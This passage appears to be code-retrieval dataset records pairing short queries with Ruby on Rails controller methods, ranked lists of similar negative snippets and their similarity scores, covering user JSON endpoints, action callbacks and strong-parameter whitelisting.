"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def index \n render json: User.all\n end",
"def index\n @myusers = Myuser.all\n\n render json: @myusers\n end",
"def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def query_users(options={}) path = \"/api/v2/users\"\n get(path, options, AvaTax::VERSION) end",
"def list\n response = @client.get(\"/users\")\n response[\"users\"].map {|u| User.new(@client, u) }\n end",
"def users\n\t\trespond_with User.all\n\tend",
"def index\n @users = User.all\n\n respond_with do |format|\n format.json do\n render json: @users,\n each_serializer: Api::UserSerializer,\n root: 'users'\n end\n end\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end"
] |
[
"0.82109934",
"0.7873764",
"0.7860689",
"0.78108346",
"0.78067017",
"0.7678852",
"0.76586664",
"0.76318866",
"0.7582366",
"0.75291824",
"0.7487637",
"0.74485743",
"0.7439024",
"0.7437192",
"0.7427442",
"0.73978853",
"0.73978853",
"0.73978853",
"0.73978853",
"0.7377353",
"0.7372414",
"0.736885",
"0.7368531",
"0.7367068",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7351495",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.73463756",
"0.73426867",
"0.7331111",
"0.73231107",
"0.73227614",
"0.73126787",
"0.7295692",
"0.7274169",
"0.7265484",
"0.72624177",
"0.72607577",
"0.722517",
"0.72189873",
"0.71941674",
"0.71883225",
"0.7187108",
"0.71815044",
"0.717089",
"0.71695215",
"0.7156781",
"0.71546155",
"0.71546155",
"0.7140691",
"0.7135879",
"0.7134857",
"0.71316093",
"0.71315825",
"0.712011",
"0.7114429",
"0.7112858",
"0.7107888",
"0.7098051",
"0.70957917",
"0.70957917",
"0.7093039",
"0.70904744",
"0.70890427",
"0.70889443",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685"
] |
0.0
|
-1
|
GET /users/1 GET /users/1.json
|
def show
unless @user==User.find(params[:id])
flash[:notice]= "You can only see your own profile."
redirect_to root_path
end
@user=User.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end",
"def show\n render json: User.find(params[\"id\"])\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\nend",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def get_by_id\n \n # the user_id param comes from our route\n user = User.find(params[:user_id])\n \n if user\n render json: user, status: :ok\n else\n render json: { errors: 'User not found' }, status: :not_found\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def get_user_details\n @user = User.find_by_id(params[:user_id])\n render json: @user\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n user = User.find_by(id: params[:id])\n render json: user, status: :ok\n end",
"def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end",
"def show\n @user = User.find(params[:id])\n render json: {user: @user}\n end",
"def list_users\n self.class.get('/users')\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"def show\n render :json => User.find(params[:id])\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def show\n @user = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM users \n WHERE username = '#{params[:username].downcase}' \n LIMIT 1\").first\n\n respond_to do |format|\n format.html\n format.json {render json: User.find(@user[0])}\n end\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def index\n json_response(User.all) \n end",
"def get(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def show\n # @user = User.first\n user = User.find(params[:id])\n render json: user\n end",
"def user(user_id, params = {})\n make_get_request(\"/users/#{user_id}\", params)\n end",
"def show_user_profile\n @user = User.find(username: params[:username])\n render json: @user\n end",
"def user(id = nil)\n id.to_i.zero? ? get('/user') : get(\"/users/#{id}\")\n end",
"def get_user id, options={}, headers={}\n @connection.get \"users/#{id}.json\", options, headers\n end",
"def user(user=nil)\n if user\n get(\"/users/#{user}\", {}, 3)\n else\n get(\"/user\", {}, 3)\n end\n end",
"def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @user }\n end\n end",
"def get_user(user_id:)\n parse(JSON.parse(connection.get(\"users/#{user_id}\").body))\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def show\n # puts params[:id]\n render json: User.find(params[:id])\n end",
"def get_user_info\n id = params[\"id\"]\n error_list = []\n status = 1\n json_response = {}\n user = User.find_by(id: id)\n\n if user.nil?\n error_list.append(\"Error: The specified user doesn't exist.\")\n status = -1\n else\n json_response[\"user\"] = user.get_user_json_data\n end\n\n if status == -1\n json_response[\"errors\"] = error_list\n end\n\n json_response[\"status\"] = status\n\n # Format the json_response into proper JSON and respond with it\n json_response = json_response.to_json\n\n respond_to do |format|\n format.json { render json: json_response }\n end\n end",
"def show\n @user = User.find(params[:id])\n if @user\n render json: {\n user: @user\n }\n else\n render json: {\n status: 500,\n errors: ['user not found']\n }\n end\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def show\n @user = User.find(params[:id])\n render json: {\n username: @user.username,\n first_name: @user.first_name,\n last_name: @user.last_name,\n email: @user.email,\n phone_number: @user.phone_number,\n contacts: @user.contacts\n }, status: :ok\n end",
"def get_user(user_id)\n request(Route.new(:GET, '/users/%{user_id}', user_id: user_id))\n end",
"def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def index\n users = User.all\n render json: users \n end",
"def user(user_id)\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n get(\"users/#{user_id}.json\", params)\n end",
"def index\n users = User.all \n render json: users \n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def json_show_user_profile_by_user_id\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.json { render json: @user.as_json(only:[:email,:username]) }\n end\n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def show\n user = User.find_by(uid: params[:id])\n if user\n puts 'USER FOUND'\n render json: user\n else\n puts 'NO USER'\n render json: 'no user'.to_json\n end\n end",
"def show\n render json: UserService.get_user(params[:id]), includes: 'questions, answers'\n end",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def index\n render :json => User.all, status: 200\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end"
] |
[
"0.81046426",
"0.7703556",
"0.77011716",
"0.76262826",
"0.7582106",
"0.74818",
"0.7461394",
"0.7446168",
"0.730656",
"0.7300699",
"0.72902125",
"0.72781444",
"0.72358584",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.72222257",
"0.72165024",
"0.72137505",
"0.72096044",
"0.71930283",
"0.7182953",
"0.7182144",
"0.7182144",
"0.7180289",
"0.71750754",
"0.7173851",
"0.71640617",
"0.71636444",
"0.71453786",
"0.7145053",
"0.7129776",
"0.71256554",
"0.71160513",
"0.7095665",
"0.70941204",
"0.70772994",
"0.7070785",
"0.7070607",
"0.7063351",
"0.70552826",
"0.7025071",
"0.7014598",
"0.70047677",
"0.6998373",
"0.69910055",
"0.6984177",
"0.6979766",
"0.6972448",
"0.6972228",
"0.6968384",
"0.69666255",
"0.6956339",
"0.69506294",
"0.6945614",
"0.6943135",
"0.69351804",
"0.6932212",
"0.6932212",
"0.6932212",
"0.6932212",
"0.6927094",
"0.69255126",
"0.6925136",
"0.6917375",
"0.6907744",
"0.68947464",
"0.6882589",
"0.6875701",
"0.68749416",
"0.68633634",
"0.6861618",
"0.6858055",
"0.6855495",
"0.68530583",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.6849599",
"0.6847195",
"0.6847074",
"0.6847074"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_user
@user = current_user
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def user_params
params.require(:user).permit(:name, :email, :password)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
